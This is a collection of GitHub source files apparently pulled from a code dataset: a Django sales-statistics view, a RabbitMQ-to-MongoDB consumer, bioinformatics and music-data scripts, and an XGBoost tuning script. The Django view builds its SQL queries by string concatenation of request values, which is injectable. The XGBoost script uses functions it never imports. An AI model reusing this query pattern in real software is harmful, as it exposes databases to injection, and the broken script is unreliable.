peopel = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"付款人数 订单号\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n setlist = set()\r\n for i in takegoodsnum:\r\n setlist.add(i[0])\r\n for j in amountsales:\r\n setlist.add(j[0])\r\n for x in peopel:\r\n setlist.add(x[0])\r\n totalgoods = []\r\n for naem in setlist:\r\n # 商品销售情况 商品id name\r\n try:\r\n cursor.execute(\r\n \"select id,name from goods where id = '\" + naem + \"'\")\r\n idname = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"商品id_name\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n totalgoods.append(idname)\r\n splilist = []\r\n for name in totalgoods:\r\n merchamt = {'id': name[0][0],\r\n 'numpayments': 0, # 付款人数\r\n 'orgName': name[0][1],\r\n 'quantity': 0, # 提货数量\r\n 'salesvolumes': 0, # 销售数量\r\n 'saleamount': 0} # 销售金额\r\n splilist.append(merchamt)\r\n for takekey, take in enumerate(takegoodsnum):\r\n for key, id in enumerate(splilist):\r\n if take[0] == id['id']:\r\n splilist[key]['quantity'] = to_string(takegoodsnum[takekey][1])\r\n break\r\n for buykey, take in enumerate(amountsales):\r\n for key, id in enumerate(splilist):\r\n if take[0] == id['id']:\r\n splilist[key]['salesvolumes'] = to_string(amountsales[buykey][1])\r\n splilist[key]['saleamount'] = to_string(amountsales[buykey][2])\r\n break\r\n for takekey, take in enumerate(peopel):\r\n for key, id in enumerate(splilist):\r\n if take[0] == id['id']:\r\n splilist[key]['numpayments'] = to_string(peopel[takekey][1])\r\n break\r\n dict = {'data': splilist[(pages - 1) * numberbars:pages * numberbars]}\r\n totalnum = len(splilist)\r\n dict['totalnum'] = totalnum\r\n data = {'data': dict, \"errmsg\": \"成功\", \"errno\": \"0\"}\r\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\r\n\r\n # 综合统计\r\n elif type == '8':\r\n if not all([start_day, end_day]):\r\n return HttpResponse(json.dumps({\"errmsg\": \"时间未传\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 订单统计\r\n # 销售总额 订单总量\r\n try:\r\n cursor.execute(\r\n \"select sum(actual_price),count(order_number) from purchase_order where manager_id = '\" + manager_id + \"' and order_state = '1' and create_time BETWEEN '\" + datestart + \"' and '\" + dateend + \"' and pay_state ='1'\")\r\n totalsalveorder = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"销售总额 订单总量\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 退货总数\r\n try:\r\n cursor.execute(\r\n \"select sum(amount) from apply_sale where orgAddr = '\" + manager_id + \"' and createdAt BETWEEN '\" + datestart + \"' and '\" + dateend + \"'\")\r\n totalreturn = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"退货总数\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 用户提货总量完成\r\n try:\r\n cursor.execute(\r\n \"select sum(g.goods_amount) from take_order as t, take_order_goods as g where t.manager_id = '\" + manager_id + \"' and t.order_number = g.order_number and t.take_state = '3' and t.create_date BETWEEN '\" + datestart + \"' and '\" + dateend + \"'\")\r\n completedelivery = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"退货总数\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 退货总量\r\n try:\r\n cursor.execute(\r\n \"select sum(g.goods_amount) from take_order as t, take_order_goods as g where t.manager_id = '\" + manager_id + \"' and t.order_number = g.order_number and t.create_date BETWEEN '\" + datestart + \"' and '\" + dateend + \"'\")\r\n take = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"退货总数\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 商品总量\r\n try:\r\n cursor.execute(\r\n \"select sum(circulation) from goods where foreign_key = '\" + foreign_key + \"' and is_delete = '0' and is_represent = '0' and putaway = '0' and create_time BETWEEN '\" + datestart + \"' and '\" + dateend + \"' and name is not null\")\r\n totalshop = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"商品总量\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n totaluser = set()\r\n # 会员总数\r\n try:\r\n cursor.execute(\r\n \"select id,name ,initial_account from goods where foreign_key = '\" + foreign_key + \"' and name is not null\"\r\n )\r\n goodsid = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"goodsid\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n for id in goodsid:\r\n # 会员总数\r\n try:\r\n cursor.execute(\r\n \"select userAddr from relation where goodsAddr = '\" + id[0] + \"' and createdAt BETWEEN '\" + datestart + \"' and '\" + dateend + \"'\"\r\n )\r\n usercount = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"会员总数\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n if usercount:\r\n for data in usercount:\r\n totaluser.add(data[0])\r\n # 购买卡券用户\r\n try:\r\n cursor.execute(\r\n \"select count(DISTINCT user_addr) from purchase_order where manager_id = '\" + manager_id + \"' and order_state = '1' and create_time BETWEEN '\" + datestart + \"' and '\" + dateend + \"' and pay_state ='1' \")\r\n totaluserbuy = cursor.fetchall()\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"用户总数\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n goodsidset = set()\r\n total = 0\r\n for info in goodsid:\r\n goodsidset.add(info[0][-2::])\r\n try:\r\n cursor.execute(\r\n \"select sum(amount) from transfer_record where goodsAddr = '\" + info[0] + \"' and createdAt BETWEEN '\" + datestart + \"' and '\" + dateend + \" '\"\r\n )\r\n result = cursor.fetchall()\r\n if result[0][0] is not None:\r\n total += result[0][0]\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"转赠总数\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 领取卡券\r\n receive = 0\r\n for info in goodsidset:\r\n try:\r\n cursor.execute(\r\n \"select sum(amount) from reviewrecord_\" + info + \" where type = '1' and createdAt BETWEEN '\" + datestart + \"' and '\" + dateend + \"' and goodsAddr in (select goodsAddr from goods where foreign_key = '\" + foreign_key + \"' and name is not null)\"\r\n )\r\n result = cursor.fetchall()\r\n if result[0][0] is not None:\r\n receive += result[0][0]\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"领取卡券\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n\r\n # 卡券剩余\r\n surplus = 0\r\n for info in goodsidset:\r\n try:\r\n cursor.execute(\r\n \"SELECT sum(amount) from userbalance_\" + info + \" where userAddress = '\" + goodsid[0][2] + \"' and createdAt BETWEEN '\" + datestart + \"' and '\" + dateend + \"'\"\r\n )\r\n result = cursor.fetchall()\r\n if result[0][0] is not None:\r\n surplus += result[0][0]\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"卡券剩余\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n # 购买卡券用户\r\n buycard = set()\r\n for info in goodsidset:\r\n try:\r\n cursor.execute(\r\n \"select toAddr from reviewrecord_\" + info + \" where type = '3' and createdAt BETWEEN '\" + datestart + \"' and '\" + dateend + \"' and goodsAddr in (select goodsAddr from goods where foreign_key = '\" + foreign_key + \"' and name is not null)\"\r\n )\r\n result = cursor.fetchall()\r\n if result:\r\n buycard.add(result[0][0])\r\n except:\r\n return HttpResponse(json.dumps({\"errmsg\": \"购买卡券用户\", \"err no\": \"4001\"}), content_type=\"application/json\")\r\n dict = {\r\n 'totalsales': to_string(totalsalveorder[0][0]), # 销售总额\r\n 'totalorders': to_string(totalsalveorder[0][1]), # 订单总量\r\n 'totalreturn': to_string(totalreturn[0][0]), # 退货总量\r\n 'completedelivery': to_string(completedelivery[0][0]), # 提货总量完成\r\n 'take': to_string(take[0][0]), # 用户提货\r\n 'totalshop': to_string(totalshop[0][0]), # 商品总量\r\n 'totaluser': len(totaluser), # 用户总数\r\n 'totaluserbuy': totaluserbuy[0][0], # 用户购买总数\r\n 'totalnumcardcoupon': to_string(total), # 卡券转赠总数\r\n 'todaytotalviews': 0, # 今日总浏览量\r\n 'totacardreceipt': to_string(receive), # 卡券领取总量\r\n 'totalcardsurplus': to_string(surplus), # 卡券剩余总量\r\n 'buycard': len(buycard), # 购买卡券用户\r\n }\r\n data = {'data': dict, \"errmsg\": \"成功\", \"errno\": \"0\"}\r\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\r\n else:\r\n\r\n return HttpResponse(json.dumps({\"errmsg\": \"type参数错误\", \"errno\": \"4001\"}), content_type=\"application/json\")\r\n","repo_name":"guruiadmin/gurui","sub_path":"reports_mjt/reports_mjt/apps/shihuili/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":40065,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4633024929","text":"#!/usr/bin/env python\nimport pika, sys, os\nimport pymongo\nimport json\n\ndef main():\n connection = pika.BlockingConnection(pika.ConnectionParameters(host='localhost'))\n channel1 = connection.channel()\n channel2 = connection.channel()\n\n channel1.queue_declare(queue='topic.queue1')\n channel2.queue_declare(queue='topic.queue2')\n\n def insertToMongodb(pollJson):\n myclient = pymongo.MongoClient(\"mongodb://localhost:27017/\")\n mydb = myclient[\"PollDatabase\"]\n mycol = mydb[\"expiredPolls\"]\n\n mycol.insert_one(pollJson)\n\n def callback(ch, method, properties, body):\n #bodyJson = json.loads(body.decode())\n #insertToMongodb(bodyJson)\n print(\" [x] Poll created: %r\" % body.decode())\n\n def callback2(ch, method, properties, body):\n bodyJson = json.loads(body.decode())\n insertToMongodb(bodyJson)\n print(\" [x] Poll expired: %r\" % body.decode())\n\n\n channel1.basic_consume(queue='topic.queue1', on_message_callback=callback, auto_ack=True)\n channel2.basic_consume(queue='topic.queue2', on_message_callback=callback2, auto_ack=True)\n\n print(' [*] Waiting for messages. To exit press CTRL+C')\n channel1.start_consuming()\n channel2.start_consuming()\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n print('Interrupted')\n try:\n sys.exit(0)\n except SystemExit:\n os._exit(0)","repo_name":"wuw012/FeedAppProject","sub_path":"MessageConsumer/Consumer.py","file_name":"Consumer.py","file_ext":"py","file_size_in_byte":1440,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"23072719383","text":"#!/usr/bin/env python3\n\n# Version 1.1\n# Author Alexis Blanchet-Cohen\n# Date: 21/05/2014\n\nimport argparse\nimport glob\nimport os\nimport subprocess\nimport util\n\n# Read the command line arguments.\nparser = argparse.ArgumentParser(description='Bedtools groupby narrowPeaks with methylation calls.')\nparser.add_argument(\"-c\", \"--scriptsDirectory\", help=\"Scripts directory.\", default=\"bedtoolsGroupBy\")\nparser.add_argument(\"-m\", \"--inputDirectory\", help=\"Input directory with BED files.\", default=\"../bedtoolsIntersect/narrowPeaks_and_cov/\")\nparser.add_argument(\"-o\", \"--outputDirectory\", help=\"Output directory with grouped BED files.\", default=\"../bedtoolsGroupBy/narrowPeaks_and_cov/\")\nparser.add_argument(\"-s\", \"--submitJobsToQueue\", help=\"Submit jobs to queue immediately.\", choices=[\"yes\", \"no\", \"y\", \"n\"], default=\"no\")\nargs = parser.parse_args()\n\n# Process the command line arguments.\nscriptsDirectory = os.path.abspath(args.scriptsDirectory) \ninputDirectory = os.path.abspath(args.inputDirectory)\noutputDirectory = os.path.abspath(args.outputDirectory)\n\nsamples = util.getMergedsamples()\n\n# Read configuration files.\nconfig = util.readConfigurationFiles()\n\n# Create scripts directory, if it does not exist yet, and cd to it.\nif not os.path.exists(scriptsDirectory):\n os.mkdir(scriptsDirectory)\nos.chdir(scriptsDirectory)\n\n# Create output directory, if it does not exist yet.\nif not os.path.exists(outputDirectory):\n os.makedirs(outputDirectory)\n\nfor sample in samples:\n # Create script file.\n scriptName = 'bedtoolsGroupBy_' + sample + '.sh'\n script = open(scriptName, 'w')\n util.writeHeader(script, config, \"bedtoolsGroupBy\")\n script.write(\"bedtools groupby \" + \"\\\\\\n\")\n script.write(\"-i \" + inputDirectory + \"/\" + sample + \".bed \" + \"\\\\\\n\")\n script.write(\"-g 1,2,3,4 \" + \"\\\\\\n\")\n script.write(\"-o mean,sum,sum \" + \"\\\\\\n\")\n script.write(\"-opCols 14,15,16 \" + \"\\\\\\n\")\n script.write(\"> \" + outputDirectory + \"/\" + sample + \".bed\")\n script.close()\n\nif (args.submitJobsToQueue.lower() == \"yes\") | (args.submitJobsToQueue.lower() == \"y\"):\n subprocess.call(\"submitJobs.py\", shell=True)\n","repo_name":"blancha/abcngspipelines","sub_path":"bischipseq/bedtoolsGroupBy.py","file_name":"bedtoolsGroupBy.py","file_ext":"py","file_size_in_byte":2126,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"20849856786","text":"import pandas as pd\n\ndef pruneData(data: pd.DataFrame) -> None:\n \"\"\"Takes the data and reduces the granularity of time to include only a year.\n Outputs results to a .csv\n\n Args:\n data (pd.DataFrame): the dataframe that you want to reduce\n \"\"\"\n\n newColumns = ['release_year']\n newColumns.extend(data.columns[2:]) # create a new set of columns\n pruned = pd.DataFrame(columns = newColumns) # make a dataframe using the new columns\n\n for row in data.iterrows(): # go through each row of the dataframe\n year = -1 # reset the year to be -1\n if row[1]['release_date_precision'] == 'day':\n year = row[1]['release_date'][-4:]\n if \"-\" in year:\n year = row[1]['release_date'][:4]\n elif row[1]['release_date_precision'] == 'month':\n year = row[1]['release_date'][:4]\n else:\n year = row[1]['release_date']\n newRow = {'release_year': year} # start making a new row using the appropriate year value\n for columnName, value in zip(data.columns[2:], row[1][2:]): # build a dictionary using the remaining values\n newRow[columnName] = value\n pruned = pruned.append(pd.Series(newRow), ignore_index=True) # add the dictionary to make a new row for our pruned dataset\n\n pruned.to_csv('pruned datasets/data.csv', index=False) # output the pruned data to a new .csv\n\ndef pruneNulls(data: pd.DataFrame) -> pd.DataFrame:\n \"\"\"Removes every null row and seperates the labels\n\n Args:\n data (pd.DataFrame): _description_\n\n Returns:\n pd.DataFrame: a dataframe of just the data, no labels\n \"\"\"\n\n data.dropna(inplace=True) # drop all empty rows\n data.reset_index(drop=True, inplace=True) # reset index values\n\n newPop = data['popularity'].copy()\n newRank = data['peak-rank'].copy()\n\n # force the popularity and peak-rank to be a particular datatype\n newPop = newPop.astype(int)\n newRank = newRank.astype(int)\n\n data.drop(columns=['popularity', 'peak-rank'], inplace=True)\n\n newPop.to_csv('pruned datasets/popularity.csv', index=False)\n newRank.to_csv('pruned datasets/ranks.csv', index=False) \n\n return data\n\ndef reduceLabels() -> None:\n \"\"\"Take the newly generated popularity.csv and ranks.csv,\n and then create popularity-reduced.csv and ranks-reduced.csv\n where we reduce the number of classes from 100 to 10\n \"\"\"\n \n reduced_pop = pd.read_csv(\"pruned datasets/popularity.csv\")\n reduced_ranks = pd.read_csv(\"pruned datasets/ranks.csv\")\n\n # reduce categories of popularity\n for i in range(0, 101):\n v = int(i / 10)\n if i == 100:\n v = 10\n reduced_pop.replace(to_replace=i, value=v, inplace=True)\n reduced_pop.to_csv('pruned datasets/popularity-reduced.csv', index=False)\n\n # reduce categories of rank\n value = 10\n for i in range(1, 101):\n if i % 10 == 0:\n value -= 1\n if i == 100:\n value = 1\n reduced_ranks.replace(to_replace=i, value=value, inplace=True)\n reduced_ranks.to_csv('pruned datasets/ranks-reduced.csv', index=False)\n \ndef reduceLabels() -> None:\n \"\"\"Take the newly generated popularity.csv and ranks.csv,\n and then create popularity-reduced.csv and ranks-reduced.csv\n where we reduce the number of classes from 100 to 5,\n for popularity and rank, labels all range from 0-4\n \"\"\"\n reduced_pop = pd.read_csv(\"pruned datasets/popularity.csv\")\n reduced_ranks = pd.read_csv(\"pruned datasets/ranks.csv\")\n\n # reduce categories of popularity\n for i in range(0, 101):\n v = int(i / 20)\n if i == 100:\n v = 4\n reduced_pop.replace(to_replace=i, value=v, inplace=True)\n reduced_pop.to_csv('pruned datasets/popularity-reduced.csv', index=False)\n\n # reduce categories of rank\n value = 0\n for i in range(1, 101):\n if i % 20 == 0:\n value += 1\n if i == 100:\n value = 4\n reduced_ranks.replace(to_replace=i, value=value, inplace=True)\n reduced_ranks.to_csv('pruned datasets/ranks-reduced.csv', index=False) \n \ndef main():\n \"\"\"\n Take the original output from Spotify-Scraper and prune null rows \n and set full dates to just be the year. Also makes sure that our labels are pruned in the same way\n \"\"\"\n\n data = pruneNulls(pd.read_csv(\"original datasets/data.csv\", skip_blank_lines=False))\n pruneData(data)\n reduceLabels()\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"Jack-Anstey/Manufacturing-Hits","sub_path":"prune.py","file_name":"prune.py","file_ext":"py","file_size_in_byte":4503,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"20638199513","text":"import matplotlib.pyplot as plt\n\n# data\nx = [0, 5, 9, 10, 15]\ny = [0, 1, 2, 3, 4]\n\n\n# trick to get the axes\nfig, ax = plt.subplots()\n\n# make ticks and tick labels\nxticks = range(min(x),max(x),2)\nxticklabels = ['2000-01-0' + str(n) for n in range(1, len(xticks) + 1)]\n\n# plot data\nax.plot(x, y, color='green', linewidth=1, linestyle=\"-\", label=f\"delay1\")\n\n# set ticks and tick labels\nax.set_xticks(xticks)\nax.set_xticklabels(xticklabels, rotation=15)\n\n# show the figure\nplt.show()","repo_name":"zhhy/auto","sub_path":"tools/threadtest.py","file_name":"threadtest.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9321678870","text":"#encoding:utf8\nimport os\nimport math\nimport numpy as np\nimport pandas as pd\nimport xgboost as xgb\nfrom xgboost import plot_importance\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import StratifiedKFold\nimport pickle\nfrom gen_train_data import spilt_train_test,report\nfrom gen_test_data import make_test_set\n\ndef fmean_squared_error(ground_truth, predictions):\n fmean_squared_error_ = mean_squared_error(ground_truth, predictions) ** 0.5\n return fmean_squared_error_\nRMSE = make_scorer(fmean_squared_error, greater_is_better=False)\n\ndef xgboost_cv():\n X_train,X_test,y_train,y_test,_,_ = spilt_train_test()\n\n if os.path.exists('./model/mul_month2.model'):\n model = xgb.Booster({'nthread':4})\n model.load_model('./model/mul_month2.model')\n else:\n xgb_model = xgb.XGBRegressor()\n\n parameters = {'nthread':[4],\n 'objective':['reg:linear'],\n 'gamma': [0, 1, 5, 10, 100],\n 'learning_rate': [0.01,0.1,0.2], \n 'max_depth': [5],\n 'min_child_weight': [3],\n 'silent': [1],\n 'subsample': [0.8],\n 'colsample_bytree': [0.7],\n 'n_estimators': [1000], \n 'seed': [1270]}\n\n\n gridsearch = GridSearchCV(xgb_model, parameters, n_jobs=5, \n cv = StratifiedKFold(n_splits=5,random_state=0,shuffle=False), \n scoring = RMSE,\n verbose =2, refit = True)\n\n gridsearch.fit(X_train, y_train)\n\n #trust your CV!\n best_parameters, score, _ = max(gridsearch.grid_scores_, key=lambda x: x[1])\n print('Raw rmse score:', score)\n\n for param_name in sorted(best_parameters.keys()):\n print(\"%s: %r\" % (param_name, best_parameters[param_name]))\n print(gridsearch.grid_scores_)\n\n # gridsearch.save_model('./model/mul_month28b.model')\n # plot_importance(model)\n\n # # 对测试集进行预测\n # dtest = xgb.DMatrix(X_test)\n # pred = gridsearch.predict(dtest)\n # pred = np.array(pred)\n # pred = np.where(pred <= 0.,-pred,pred)\n\n # report(pred,y_test)\n\ndef xgb_submission():\n model = xgb.Booster({'nthread':4})\n model.load_model('./model/mul_month2.model')\n\n X_test = make_test_set()\n sub = X_test.copy()\n del X_test['uid']\n\n X_test = np.array(X_test)\n # scaler = StandardScaler()\n # X_test = scaler.fit_transform(X_test)\n\n dtest = xgb.DMatrix(X_test)\n pred = model.predict(dtest)\n\n pred = np.array(pred)\n pred = np.where(pred< 0. ,0,pred)\n\n sub['loan'] = pred\n sub = sub[['uid','loan']]\n df_user = pickle.load(open('df_user.pkl','rb'))\n sub = pd.merge(sub,df_user,how='left',on='uid')\n # pred = list(sub['loan'].copy())\n limit = list(sub['limit'].copy())\n true_pred = []\n for i in range(len(pred)):\n if pred[i] > limit[i]:\n true_pred.append(limit[i])\n else:\n true_pred.append(pred[i])\n sub['true_pred'] = true_pred\n sub = sub[['uid','true_pred']]\n sub.to_csv('./sub/sub28c2.csv',sep=',',header=None,index=False,encoding='utf8')\n print(sub.describe())\n\n\n\nif __name__ == '__main__':\n import time\n start = time.time()\n xgboost_cv()\n # xgb_submission()\n end = time.time()\n print('train time:',(end-start)/60.)\n\n\n\n\n\n\n","repo_name":"wangle1218/2017JDD-Loan_Forecasting_Qualification","sub_path":"original_version/xgbcv.py","file_name":"xgbcv.py","file_ext":"py","file_size_in_byte":3469,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"18"} +{"seq_id":"19240271076","text":"import numpy as np\nimport cv2 \nimport json\nimport copy\nimport random\nfrom collections import Counter\nimport pickle\nimport csv\nimport os\nimport argparse\n# from tesserocr import PyTessBaseAPI, PSM\n\n# parser = argparse.ArgumentParser()\n# parser.add_argument(\"--img\", help=\"help_image_name\")\n# args = parser.parse_args()\n\n\nfrom os import listdir\nfrom os.path import isfile, join\nmypath = \"docs/\"\nonlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n\n# print(onlyfiles)\n\nnew_list = []\n\nfor filename in onlyfiles:\n new = filename[:-4]\n new_list.append(new)\n\n\n# with open('data/data_text_blocks_tables_inv-0001.data', 'rb') as filehandle:\n# text_blocks_rows = pickle.load(filehandle)\n\n\n\n\nwith open(\"features.csv\", mode='w', newline='') as file:\n writer = csv.writer(file, delimiter= ',')\n\n headers = ['inv_numb', 'node', 'x', 'y', 'w', 'h', 'neighbors', 'in_table']\n writer.writerow(headers)\n for image_name in new_list:\n image_path = \"docs/{0}.jpg\".format(image_name)\n image = cv2.imread(image_path)\n\n min_resol = min(image.shape[0], image.shape[1])\n\n node_list = []\n\n if os.path.isfile('data/data_text_blocks_tables_{0}.data'.format(image_name)):\n\n with open('data/data_text_blocks_tables_{0}.data'.format(image_name), 'rb') as filehandle:\n # read the data as binary data stream\n text_blocks_rows = pickle.load(filehandle)\n \n for ind_row, row in enumerate(text_blocks_rows):\n for ind_block, block in enumerate(row):\n node = (ind_row, ind_block)\n node_list.append(node)\n\n # with \n\n \n\n for ind_row, row in enumerate(text_blocks_rows):\n for ind_block, block in enumerate(row):\n node = (ind_row, ind_block)\n neighbors = []\n\n # Upper node\n neighb_node = (ind_row - 1, ind_block)\n if neighb_node in node_list:\n neighb_block = text_blocks_rows[ind_row - 1][ind_block]\n if (block['y'] - (neighb_block['y'] + neighb_block['h'])) < min_resol / 4:\n neighbors.append(neighb_node)\n \n # Down node\n neighb_node = (ind_row + 1, ind_block)\n if neighb_node in node_list:\n neighb_block = text_blocks_rows[ind_row + 1][ind_block]\n if (neighb_block['y'] - (block['y'] + block['h'])) < min_resol / 4:\n neighbors.append(neighb_node)\n\n # Left node\n neighb_node = (ind_row, ind_block - 1)\n if neighb_node in node_list:\n neighb_block = text_blocks_rows[ind_row][ind_block - 1]\n if (block['x'] - (neighb_block['x'] + neighb_block['w'])) < min_resol / 4:\n neighbors.append(neighb_node)\n\n # Right node\n neighb_node = (ind_row, ind_block + 1)\n if neighb_node in node_list:\n neighb_block = text_blocks_rows[ind_row][ind_block + 1]\n if (neighb_block['x'] - (block['x'] + block['w'])) < min_resol / 4:\n neighbors.append(neighb_node)\n\n\n # node_list.append(node)\n\n data = [image_name, node, block['x'], block['y'], block['w'], block['h'], neighbors, block['in_table']]\n writer.writerow(data)\n\n\n# print(node_list)","repo_name":"br-eina/table_blocks_detection","sub_path":"scripts/constr_graph.py","file_name":"constr_graph.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43757124852","text":"import pygame\n\nclass Window:\n\n def __init__(self, size, frameRate = 60, loop = None, debug = False, name = 'window'):\n pygame.init()\n self.size = size\n self.width = self.size[0]\n self.height = self.size[1]\n self.display = pygame.display.set_mode(self.size.toTuple())\n pygame.display.set_caption(name)\n\n self.fps = 60\n self.clock = pygame.time.Clock()\n self.gameActions = loop\n\n self.gameObjects = []\n self.draw()\n\n def addGO(self, go):\n self.gameObjects.append(go)\n\n def draw(self):\n for obj in self.gameObjects:\n obj.display(self.display)\n pygame.display.update()\n\n \n","repo_name":"saudrix/GeneticLander","sub_path":"src/GameWindow.py","file_name":"GameWindow.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"8657426411","text":"\"\"\"Txt Parser.\"\"\"\n\nfrom typing import List\n\nfrom .IngestorInterface import IngestorInterface\nfrom .QuoteModel import QuoteModel\n\n\nclass TextIngestor(IngestorInterface):\n \"\"\"Parse Txt files.\"\"\"\n\n allowed_extensions = ['txt']\n\n @classmethod\n def parse(cls, path: str) -> List[QuoteModel]:\n \"\"\"Parse file in the given path.\"\"\"\n if not cls.can_ingest(path):\n raise Exception('cannot ingest exception')\n\n quotes = []\n file_ref = open(path, \"r\", encoding='utf-8')\n quotes = []\n for line in file_ref.readlines():\n line = line.strip('\\n\\r').strip()\n if len(line) > 0:\n parsed = line.split(' - ')\n new_quote = QuoteModel(parsed[0],\n parsed[1])\n quotes.append(new_quote)\n\n file_ref.close()\n return quotes\n","repo_name":"ayertay/Meme-Generator","sub_path":"QuoteEngine/TextIngestor.py","file_name":"TextIngestor.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3855173844","text":"from libvirt import libvirtError\n\nfrom libvirttestapi.src import sharedmod\nfrom libvirttestapi.utils import utils\n\nrequired_params = ('guestname',)\noptional_params = {}\n\n\ndef check_savefile_remove(*args):\n \"\"\"Check if guest's managedsave file be removed \"\"\"\n\n (guestname) = args\n cmds = \"ls /var/lib/libvirt/qemu/save/%s\" % guestname + \".save -lh\"\n logger.info(\"Execute cmd %s\" % cmds)\n (status, output) = utils.exec_cmd(cmds, shell=True)\n if status != 0:\n logger.info(\"No managed save file\")\n return True\n else:\n logger.error(\"managed save file exits\")\n return False\n\n\ndef managedsave_remove(params):\n \"\"\"Remove an existing managed save state file from a domain\"\"\"\n\n global logger\n logger = params['logger']\n guestname = params['guestname']\n\n conn = sharedmod.libvirtobj['conn']\n domobj = conn.lookupByName(guestname)\n\n if not domobj.hasManagedSaveImage(0) and check_savefile_remove(guestname):\n logger.error(\"Domain %s hasn't managedsave image\" % guestname)\n return 1\n else:\n logger.info(\"Domain %s has managedsave image\" % guestname)\n\n try:\n domobj.managedSaveRemove(0)\n #Check if domain has managedsave image\n if not domobj.hasManagedSaveImage(0) and \\\n check_savefile_remove(guestname):\n logger.info(\"Domain %s's managedsave image has been removed\"\n % guestname)\n else:\n logger.error(\"Fail to remove managedsave domain\")\n return 1\n\n except libvirtError as e:\n logger.error(\"API error message: %s, error code is %s\" % (e.get_error_message(), e.get_error_code()))\n logger.error(\"Fail to managedsave %s domain\" % guestname)\n return 1\n\n return 0\n","repo_name":"libvirt/libvirt-test-API","sub_path":"libvirttestapi/repos/managedsave/managedsave_remove.py","file_name":"managedsave_remove.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"34398275913","text":"# 导入 openai 库\nimport openai\n\n# 导入 os 库,用于获取环境变量\nimport os\n\n# 从环境变量中获取 OpenAI 的 API 密钥,并设置为 openai 的 API 密钥\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\n\n# 创建一个文件,用于微调模型\nopenai.File.create(\n file=open(\"mydata.jsonl\", \"rb\"), # 打开名为 mydata.jsonl 的文件,以二进制读取模式\n purpose='fine-tune' # 文件的目的是微调\n)\n\n# 使用指定的训练文件和模型进行微调\nopenai.FineTuningJob.create(training_file=\"file-abc123\", model=\"gpt-3.5-turbo\")\n\n# 列出最近的 10 个微调工作\nopenai.FineTuningJob.list(limit=10)\n\n# 获取某个微调任务的状态\nopenai.FineTuningJob.retrieve(\"ft-abc123\")\n\n# 取消一个微调任务\nopenai.FineTuningJob.cancel(\"ft-abc123\")\n\n# 列出某个微调任务的最多 10 个事件\nopenai.FineTuningJob.list_events(id=\"ft-abc123\", limit=10)\n\n# 删除一个微调过的模型(必须是创建模型的组织的所有者)\nopenai.Model.delete(\"ft-abc123\")\n\n\ncompletion = openai.ChatCompletion.create(\n model=\"ft:gpt-3.5-turbo:my-org:custom_suffix:id\",\n messages=[\n {\"role\": \"system\", \"content\": \"You are a helpful assistant.\"},\n {\"role\": \"user\", \"content\": \"Hello!\"}\n ]\n)\n\nprint(completion.choices[0].message)","repo_name":"XingYu-Zhong/CustomerServiceDialogWorkOrderExtraction","sub_path":"openai/finetune.py","file_name":"finetune.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20955302020","text":"config = {\r\n\r\n 'env_name': 'CartPole-v0',\r\n 'act_dim': 2,\r\n 'state_dim': 4,\r\n\r\n 'actor_num': 4,\r\n\r\n 'max_episode': int(3e3),\r\n 'gamma': 0.98,\r\n 'reward_scale': 100,\r\n 'sample_batch': 60,\r\n\r\n 'vf_loss_coeff': 